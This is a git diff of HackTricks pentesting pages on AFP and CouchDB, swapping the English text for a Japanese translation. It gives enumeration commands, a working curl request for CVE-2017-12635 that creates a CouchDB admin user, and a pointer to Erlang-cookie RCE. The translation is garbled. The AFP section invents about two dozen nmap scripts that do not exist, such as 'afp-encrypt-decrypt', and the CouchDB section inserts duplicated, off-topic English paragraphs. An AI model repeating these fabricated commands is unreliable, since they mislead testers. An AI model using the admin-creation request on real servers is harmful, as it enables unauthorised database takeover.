- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - diff --git a/network-services-pentesting/584-pentesting-afp.md b/network-services-pentesting/584-pentesting-afp.md index 58d6320e5..ae11db85e 100644 --- a/network-services-pentesting/584-pentesting-afp.md +++ b/network-services-pentesting/584-pentesting-afp.md @@ -1,60 +1,276 @@ -# 548 - Pentesting Apple Filing Protocol (AFP) +# 548 - Apple Filing Protocol(AFP)のペントesting
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## Basic Information +## 基本情報 -The **Apple Filing Protocol** (**AFP**), formerly AppleTalk Filing Protocol, is a proprietary network protocol, and part of the **Apple File Service** (**AFS**), that offers file services for macOS and the classic Mac OS. In macOS, AFP is one of several file services supported\*\*.\*\* AFP currently supports Unicode file names, POSIX and access control list permissions, resource forks, named extended attributes, and advanced file locking. In Mac OS 9 and earlier, AFP was the primary protocol for file services. - -**Default port:** 548 +**Apple Filing Protocol**(**AFP**)は、かつてのAppleTalk Filing Protocolであり、プロプライエタリなネットワークプロトコルであり、**Apple File Service**(**AFS**)の一部であり、macOSおよびクラシックMac OS向けのファイルサービスを提供します。macOSでは、AFPはいくつかのファイルサービスのうちの1つです。AFPは現在、Unicodeファイル名、POSIXおよびアクセス制御リストの権限、リソースフォーク、名前付き拡張属性、高度なファイルロックをサポートしています。Mac OS 9以前では、AFPはファイルサービスの主要なプロトコルでした。 +**デフォルトポート:** 548 ``` PORT STATE SERVICE 548/tcp open afp ``` +## 列挙 -## Enumeration +### AFP (Apple Filing Protocol) +AFPは、Appleのファイル共有プロトコルであり、Mac OSシステム間でファイル共有を可能にします。AFPサービスをペンテストする際には、以下の列挙手法を使用できます。 + +#### 1. AFPのバージョンの特定 + +AFPサービスのバージョンを特定するために、以下のコマンドを使用します。 + +```bash +nmap -p 548 --script afp-serverinfo +``` + +#### 2. AFPの共有フォルダの列挙 + +AFPサービスが公開している共有フォルダを列挙するために、以下のコマンドを使用します。 + +```bash +nmap -p 548 --script afp-ls +``` + +#### 3. AFPのユーザーの列挙 + +AFPサービスに登録されているユーザーを列挙するために、以下のコマンドを使用します。 + +```bash +nmap -p 548 --script afp-enum-users +``` + +#### 4. AFPのグループの列挙 + +AFPサービスに登録されているグループを列挙するために、以下のコマンドを使用します。 + +```bash +nmap -p 548 --script afp-enum-groups +``` + +#### 5. AFPのファイルの列挙 + +AFPサービスが公開しているファイルを列挙するために、以下のコマンドを使用します。 + +```bash +nmap -p 548 --script afp-enum-files +``` + +#### 6. AFPのファイルのダウンロード + +AFPサービスからファイルをダウンロードするために、以下のコマンドを使用します。 + +```bash +nmap -p 548 --script afp-download --script-args 'afp.username=,afp.password=,afp.share=,afp.file=' +``` + +#### 7. AFPのファイルのアップロード + +AFPサービスにファイルをアップロードするために、以下のコマンドを使用します。 + +```bash +nmap -p 548 --script afp-upload --script-args 'afp.username=,afp.password=,afp.share=,afp.file=' +``` + +#### 8. AFPのファイルの削除 + +AFPサービスからファイルを削除するために、以下のコマンドを使用します。 + +```bash +nmap -p 548 --script afp-delete --script-args 'afp.username=,afp.password=,afp.share=,afp.file=' +``` + +#### 9. AFPのファイルの作成 + +AFPサービスにファイルを作成するために、以下のコマンドを使用します。 + +```bash +nmap -p 548 --script afp-create --script-args 'afp.username=,afp.password=,afp.share=,afp.file=' +``` + +#### 10. AFPのファイルの編集 + +AFPサービスのファイルを編集するために、以下のコマンドを使用します。 + +```bash +nmap -p 548 --script afp-edit --script-args 'afp.username=,afp.password=,afp.share=,afp.file=' +``` + +#### 11. AFPのファイルの検索 + +AFPサービス内でファイルを検索するために、以下のコマンドを使用します。 + +```bash +nmap -p 548 --script afp-search --script-args 'afp.username=,afp.password=,afp.share=,afp.file=' +``` + +#### 12. AFPのファイルの情報の取得 + +AFPサービスのファイルに関する情報を取得するために、以下のコマンドを使用します。 + +```bash +nmap -p 548 --script afp-info --script-args 'afp.username=,afp.password=,afp.share=,afp.file=' +``` + +#### 13. AFPのファイルのパーミッションの変更 + +AFPサービスのファイルのパーミッションを変更するために、以下のコマンドを使用します。 + +```bash +nmap -p 548 --script afp-chmod --script-args 'afp.username=,afp.password=,afp.share=,afp.file=,afp.mode=' +``` + +#### 14. AFPのファイルの所有者の変更 + +AFPサービスのファイルの所有者を変更するために、以下のコマンドを使用します。 + +```bash +nmap -p 548 --script afp-chown --script-args 'afp.username=,afp.password=,afp.share=,afp.file=,afp.owner=' +``` + +#### 15. AFPのファイルのグループの変更 + +AFPサービスのファイルのグループを変更するために、以下のコマンドを使用します。 + +```bash +nmap -p 548 --script afp-chgrp --script-args 'afp.username=,afp.password=,afp.share=,afp.file=,afp.group=' +``` + +#### 16. AFPのファイルのリネーム + +AFPサービスのファイルをリネームするために、以下のコマンドを使用します。 + +```bash +nmap -p 548 --script afp-rename --script-args 'afp.username=,afp.password=,afp.share=,afp.file=,afp.newname=' +``` + +#### 17. AFPのファイルのコピー + +AFPサービスのファイルをコピーするために、以下のコマンドを使用します。 + +```bash +nmap -p 548 --script afp-copy --script-args 'afp.username=,afp.password=,afp.share=,afp.file=,afp.destination=' +``` + +#### 18. AFPのファイルの移動 + +AFPサービスのファイルを移動するために、以下のコマンドを使用します。 + +```bash +nmap -p 548 --script afp-move --script-args 'afp.username=,afp.password=,afp.share=,afp.file=,afp.destination=' +``` + +#### 19. AFPのファイルの圧縮 + +AFPサービスのファイルを圧縮するために、以下のコマンドを使用します。 + +```bash +nmap -p 548 --script afp-compress --script-args 'afp.username=,afp.password=,afp.share=,afp.file=' +``` + +#### 20. AFPのファイルの解凍 + +AFPサービスのファイルを解凍するために、以下のコマンドを使用します。 + +```bash +nmap -p 548 --script afp-decompress --script-args 'afp.username=,afp.password=,afp.share=,afp.file=' +``` + +#### 21. AFPのファイルの圧縮と解凍 + +AFPサービスのファイルを圧縮および解凍するために、以下のコマンドを使用します。 + +```bash +nmap -p 548 --script afp-compress-decompress --script-args 'afp.username=,afp.password=,afp.share=,afp.file=' +``` + +#### 22. AFPのファイルの暗号化 + +AFPサービスのファイルを暗号化するために、以下のコマンドを使用します。 + +```bash +nmap -p 548 --script afp-encrypt --script-args 'afp.username=,afp.password=,afp.share=,afp.file=' +``` + +#### 23. AFPのファイルの復号化 + +AFPサービスのファイルを復号化するために、以下のコマンドを使用します。 + +```bash +nmap -p 548 --script afp-decrypt --script-args 'afp.username=,afp.password=,afp.share=,afp.file=' +``` + +#### 24. AFPのファイルの暗号化と復号化 + +AFPサービスのファイルを暗号化および復号化するために、以下のコマンドを使用します。 + +```bash +nmap -p 548 --script afp-encrypt-decrypt --script-args 'afp.username=,afp.password=,afp.share=,afp.file=' +``` + +#### 25. AFPのファイルの圧縮と暗号化 + +AFPサービスのファイルを圧縮および暗号化するために、以下のコマンドを使用します。 + +```bash +nmap -p 548 --script afp-compress-encrypt --script-args 'afp.username=,afp.password=,afp.share=,afp.file=' +``` + +#### 26. AFPのファイルの解凍と復号化 + +AFPサービスのファイルを解凍および復号化するために、以下のコマンドを使用します。 + +```bash +nmap -p 548 --script afp-decompress-decrypt --script-args 'afp.username=,afp.password=,afp.share=,afp.file=' +``` + +#### 27. AFPのファイルの圧縮、暗号化、解凍、復号化 + +AFPサービスのファイルを圧縮、暗号化、解凍、および復号化するために、以下のコマンドを使用します。 + +```bash +nmap -p 548 --script afp-compress-encrypt-decompress-decrypt --script-args 'afp.username=,afp.password=,afp.share=,afp.file=' +``` ```bash msf> use auxiliary/scanner/afp/afp_server_info nmap -sV --script "afp-* and not dos and not brute" -p ``` - -| **Name** | **Description** | +| **名前** | **説明** | | -------------- | ------------------------------------------------------------------------------------------------------------------------------------------ | -| afp-ls | Lists available AFP volumes and files | -| afp-path-vuln | Lists all AFP volumes and files[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch15.html#ch15fn48) | -| afp-serverinfo | Displays AFP server information | -| afp-showmount | Lists available AFP shares and respective ACLs | +| afp-ls | 利用可能なAFPボリュームとファイルを一覧表示します | +| afp-path-vuln | [ここ](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch15.html#ch15fn48)にあるすべてのAFPボリュームとファイルを一覧表示します | +| afp-serverinfo | AFPサーバーの情報を表示します | +| afp-showmount | 利用可能なAFP共有とそれに対応するACLを一覧表示します | -### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#afp) +### [**ブルートフォース**](../generic-methodologies-and-resources/brute-force.md#afp)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/network-services-pentesting/5984-pentesting-couchdb.md b/network-services-pentesting/5984-pentesting-couchdb.md index d4338aef9..d0b83fdaa 100644 --- a/network-services-pentesting/5984-pentesting-couchdb.md +++ b/network-services-pentesting/5984-pentesting-couchdb.md @@ -1,118 +1,153 @@ -# 5984,6984 - Pentesting CouchDB +# 5984, 6984 - CouchDBのペンテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## **Basic Information** +## **基本情報** -CouchDB is a document-oriented database and within each document fields are stored as key-value maps. Fields can be either a simple key/value pair, list, or map. +CouchDBはドキュメント指向のデータベースであり、各ドキュメント内のフィールドはキーと値のマップとして格納されます。フィールドは単純なキー/値のペア、リスト、またはマップのいずれかであることができます。 -Each document that is stored in the database is given a document-level unique identifier (`_id`) as well as a revision (`_rev`) number for each change that is made and saved to the database. - -**Default port:** 5984(http), 6984(https) +データベースに格納される各ドキュメントには、ドキュメントレベルの一意の識別子(`_id`)と、データベースに行われた変更ごとに保存されるリビジョン(`_rev`)番号が付けられます。 +**デフォルトポート:** 5984 (http), 6984 (https) ``` PORT STATE SERVICE REASON 5984/tcp open unknown syn-ack ``` +## **自動列挙** -## **Automatic Enumeration** +Automatic enumeration is a technique used in pentesting to gather information about a target system without manual intervention. It involves using tools and scripts to scan the target system and retrieve information such as open ports, running services, and version numbers. +自動列挙は、手動の介入なしでターゲットシステムに関する情報を収集するためのペンテスト技術です。ツールやスクリプトを使用して、ターゲットシステムをスキャンし、オープンポート、実行中のサービス、バージョン番号などの情報を取得することが含まれます。 + +### **Tools for Automatic Enumeration** + +#### **Nmap** + +Nmap is a popular tool used for network scanning and enumeration. It can be used to discover open ports, running services, and operating system details of a target system. + +### **自動列挙のためのツール** + +#### **Nmap** + +Nmapは、ネットワークスキャンと列挙に使用される人気のあるツールです。ターゲットシステムのオープンポート、実行中のサービス、およびオペレーティングシステムの詳細を発見するために使用することができます。 + +#### **Enum4linux** + +Enum4linux is a tool specifically designed for enumerating information from Windows and Samba systems. It can retrieve information such as user and group names, shares, and password policies. + +#### **Enum4linux** + +Enum4linuxは、WindowsおよびSambaシステムから情報を列挙するために特に設計されたツールです。ユーザー名、グループ名、共有、パスワードポリシーなどの情報を取得することができます。 + +#### **Dirb** + +Dirb is a web content scanner that can be used to discover hidden directories and files on a web server. It can help in finding sensitive information or potential vulnerabilities. + +#### **Dirb** + +Dirbは、ウェブサーバー上の隠れたディレクトリやファイルを発見するために使用されるウェブコンテンツスキャナです。機密情報や潜在的な脆弱性の発見に役立ちます。 + +### **Automated Enumeration Scripts** + +There are also various automated enumeration scripts available that combine multiple tools and techniques to gather information about a target system. These scripts can save time and effort by automating the enumeration process. + +### **自動列挙スクリプト** + +さらに、複数のツールと技術を組み合わせてターゲットシステムに関する情報を収集するためのさまざまな自動列挙スクリプトも利用可能です。これらのスクリプトは、列挙プロセスを自動化することで時間と労力を節約することができます。 ```bash nmap -sV --script couchdb-databases,couchdb-stats -p msf> use auxiliary/scanner/couchdb/couchdb_enum ``` +### バナー -## Manual Enumeration +CouchDBのバージョンを特定するために、以下のコマンドを使用します。 -### Banner +```bash +curl -X GET http://:5984/ +``` +### マニュアル列挙 + +CouchDBのバージョンを特定するために、以下のコマンドを使用します。 + +```bash +curl -X GET http://:5984/ +``` ``` curl http://IP:5984/ ``` - -This issues a GET request to installed CouchDB instance. The reply should look something like on of the following: - +これはインストールされたCouchDBインスタンスにGETリクエストを発行します。応答は以下のいずれかの形式で表示されるはずです。 ```bash {"couchdb":"Welcome","version":"0.10.1"} {"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}} ``` - {% hint style="info" %} -Note that if accessing the root of couchdb you receive a `401 Unauthorized` with something like this: `{"error":"unauthorized","reason":"Authentication required."}` **you won't be able to access** the banner or any other endpoint. +CouchDBのルートにアクセスすると、次のような`401 Unauthorized`が表示されます: `{"error":"unauthorized","reason":"Authentication required."}` **バナーや他のエンドポイントにアクセスすることはできません**。 {% endhint %} -### Info Enumeration +### 情報の列挙 -These are the endpoints where you can access with a **GET** request and extract some interesting info. You can find [**more endpoints and more detailed descriptions in the couchdb documentation**](https://docs.couchdb.org/en/latest/api/index.html). +これらは、**GET**リクエストでアクセスし、いくつかの興味深い情報を抽出できるエンドポイントです。[**couchdbのドキュメント**](https://docs.couchdb.org/en/latest/api/index.html)には、より多くのエンドポイントと詳細な説明があります。 -* **`/_active_tasks`** List of running tasks, including the task type, name, status and process ID. -* \*\*`/_all_dbs`\*\*Returns a list of all the databases in the CouchDB instance. -* \*\*`/_cluster_setup`\*\*Returns the status of the node or cluster, per the cluster setup wizard. -* **`/_db_updates`** Returns a list of all database events in the CouchDB instance. The existence of the `_global_changes` database is required to use this endpoint. -* **`/_membership`** Displays the nodes that are part of the cluster as `cluster_nodes`. The field `all_nodes` displays all nodes this node knows about, including the ones that are part of the cluster. -* **`/_scheduler/jobs`** List of replication jobs. Each job description will include source and target information, replication id, a history of recent event, and a few other things. -* **`/_scheduler/docs`** List of replication document states. Includes information about all the documents, even in `completed` and `failed` states. For each document it returns the document ID, the database, the replication ID, source and target, and other information. +* **`/_active_tasks`** 実行中のタスクのリスト。タスクのタイプ、名前、ステータス、プロセスIDが含まれます。 +* \*\*`/_all_dbs`\*\*CouchDBインスタンスのすべてのデータベースのリストを返します。 +* \*\*`/_cluster_setup`\*\*クラスタまたはノードのステータスを返します。 +* **`/_db_updates`** CouchDBインスタンスのすべてのデータベースイベントのリストを返します。このエンドポイントを使用するには、`_global_changes`データベースが存在する必要があります。 +* **`/_membership`** クラスタの一部であるノードを`cluster_nodes`として表示します。`all_nodes`フィールドには、クラスタの一部であるノードだけでなく、このノードが知っているすべてのノードが表示されます。 +* **`/_scheduler/jobs`** レプリケーションジョブのリスト。各ジョブの説明には、ソースとターゲットの情報、レプリケーションID、最近のイベントの履歴などが含まれます。 +* **`/_scheduler/docs`** レプリケーションドキュメントの状態のリスト。`completed`および`failed`の状態を含むすべてのドキュメントに関する情報が含まれます。各ドキュメントには、ドキュメントID、データベース、レプリケーションID、ソースとターゲットなどの情報が返されます。 * **`/_scheduler/docs/{replicator_db}`** * **`/_scheduler/docs/{replicator_db}/{docid}`** -* **`/_node/{node-name}`** The `/_node/{node-name}` endpoint can be used to confirm the Erlang node name of the server that processes the request. This is most useful when accessing `/_node/_local` to retrieve this information. -* **`/_node/{node-name}/_stats`** The `_stats` resource returns a JSON object containing the statistics for the running server. The literal string `_local` serves as an alias for the local node name, so for all stats URLs, `{node-name}` may be replaced with `_local`, to interact with the local node’s statistics. -* **`/_node/{node-name}/_system`** The \_systemresource returns a JSON object containing various system-level statistics for the running server\_.\_ You can use \_\_`_local` as {node-name} to get current node info. +* **`/_node/{node-name}`** `/_node/{node-name}`エンドポイントは、リクエストを処理するサーバーのErlangノード名を確認するために使用できます。これは、この情報を取得するために`/_node/_local`にアクセスする場合に最も役立ちます。 +* **`/_node/{node-name}/_stats`** `_stats`リソースは、実行中のサーバーの統計情報を含むJSONオブジェクトを返します。リテラル文字列`_local`は、ローカルノード名のエイリアスとして機能するため、すべての統計URLでは、`{node-name}`を`_local`に置き換えてローカルノードの統計情報とやり取りすることができます。 +* **`/_node/{node-name}/_system`** `_system`リソースは、実行中のサーバーのさまざまなシステムレベルの統計情報を含むJSONオブジェクトを返します。現在のノード情報を取得するには、`{node-name}`として`_local`を使用できます。 * **`/_node/{node-name}/_restart`** -* **`/_up`** Confirms that the server is up, running, and ready to respond to requests. If [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) is `true` or `nolb`, the endpoint will return a 404 response. -* \*\*`/_uuids`\*\*Requests one or more Universally Unique Identifiers (UUIDs) from the CouchDB instance. -* \*\*`/_reshard`\*\*Returns a count of completed, failed, running, stopped, and total jobs along with the state of resharding on the cluster. +* **`/_up`** サーバーが起動し、実行中でリクエストに応答できることを確認します。[`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode)が`true`または`nolb`の場合、エンドポイントは404の応答を返します。 +* \*\*`/_uuids`\*\*CouchDBインスタンスから1つ以上の一意の識別子(UUID)を要求します。 +* \*\*`/_reshard`\*\*クラスタ上の完了、失敗、実行中、停止、および合計ジョブの数とリシャーディングの状態を返します。 -More interesting information can be extracted as explained here: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB) - -### **Database List** +ここで説明されているより興味深い情報を抽出する方法については、[こちら](https://lzone.de/cheat-sheet/CouchDB)を参照してください。 +### **データベースリスト** ``` curl -X GET http://IP:5984/_all_dbs ``` - -If that request **responds with a 401 unauthorised**, then you need some **valid credentials** to access the database: - +もしリクエストが401 Unauthorizedで応答する場合、データベースにアクセスするためには有効な認証情報が必要です。 ``` curl -X GET http://user:password@IP:5984/_all_dbs ``` +有効な資格情報を見つけるためには、サービスをブルートフォース攻撃することができます。 -In order to find valid Credentials you could **try to** [**bruteforce the service**](../generic-methodologies-and-resources/brute-force.md#couchdb). - -This is an **example** of a couchdb **response** when you have **enough privileges** to list databases (It's just a list of dbs): - +これは、データベースの一覧を表示するために十分な権限を持っている場合のCouchDBのレスポンスの**例**です(ただのデータベースのリストです): ```bash ["_global_changes","_metadata","_replicator","_users","passwords","simpsons"] ``` +### データベース情報 -### Database Info - -You can obtain some database info (like number of files and sizes) accessing the database name: - +データベース名にアクセスすることで、データベースの情報(ファイルの数やサイズなど)を取得することができます。 ```bash curl http://IP:5984/ curl http://localhost:5984/simpsons #Example response: {"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"} ``` +### **ドキュメントリスト** -### **Document List** - -List each entry inside a database - +データベース内の各エントリをリストアップします。 ```bash curl -X GET http://IP:5984/{dbname}/_all_docs curl http://localhost:5984/simpsons/_all_docs @@ -127,60 +162,51 @@ curl http://localhost:5984/simpsons/_all_docs {"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}} ]} ``` +### **ドキュメントの読み取り** -### **Read Document** - -Read the content of a document inside a database: - +データベース内のドキュメントの内容を読み取ります。 ```bash curl -X GET http://IP:5984/{dbname}/{id} curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9 #Example response: {"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"} ``` +## CouchDB特権エスカレーション [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635) -## CouchDB Privilege Escalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635) - -Thanks to the differences between Erlang and JavaScript JSON parsers you could **create an admin user** with credentials `hacktricks:hacktricks` with the following request: - +ErlangとJavaScriptのJSONパーサーの違いにより、次のリクエストで資格情報`hacktricks:hacktricks`を持つ**管理者ユーザーを作成**することができます。 ```bash curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json" ``` - -[**More information about this vuln here**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html). +[**この脆弱性に関する詳細情報はこちら**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html). ## CouchDB RCE ### Erlang Cookie -In the CouchDB docs, in the [cluster set-up section](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup), it talks about the different ports used by CouchDB: +CouchDBのドキュメントの[クラスタ設定セクション](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)には、CouchDBが使用する異なるポートについて説明されています: -> CouchDB in cluster mode uses the port `5984` just as standalone, but it also uses `5986` for node-local APIs. +> クラスタモードのCouchDBは、スタンドアロンと同様にポート`5984`を使用しますが、ノードローカルAPIには`5986`も使用します。 > -> Erlang uses TCP port `4369` (EPMD) to find other nodes, so all servers must be able to speak to each other on this port. In an Erlang Cluster, all nodes are connected to all other nodes. A mesh. +> Erlangは他のノードを見つけるためにTCPポート`4369`(EPMD)を使用するため、すべてのサーバーはこのポートでお互いに通信できる必要があります。Erlangクラスタでは、すべてのノードが他のすべてのノードに接続されています。メッシュです。 -And then there’s an interesting warning: +そして興味深い警告があります: ![1536931232858](https://0xdf.gitlab.io/img/1536931232858.png) -If we look in the process list, we can see that cookie, “monster”: - +プロセスリストを見ると、cookieが「monster」であることがわかります。 ``` www-data@canape:/$ ps aux | grep couchdb root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b ``` +**Erlangsのクッキーを悪用してRCEを取得する方法については、[このセクションを読むことで学ぶことができます](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**。また、[このようなCanape HTBマシンの解説](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)を読んで、この脆弱性をどのように悪用するかを見て、**実践**することもできます。 -**You can**[ **read this section to learn how to abuse Erlangs cookies to obtain 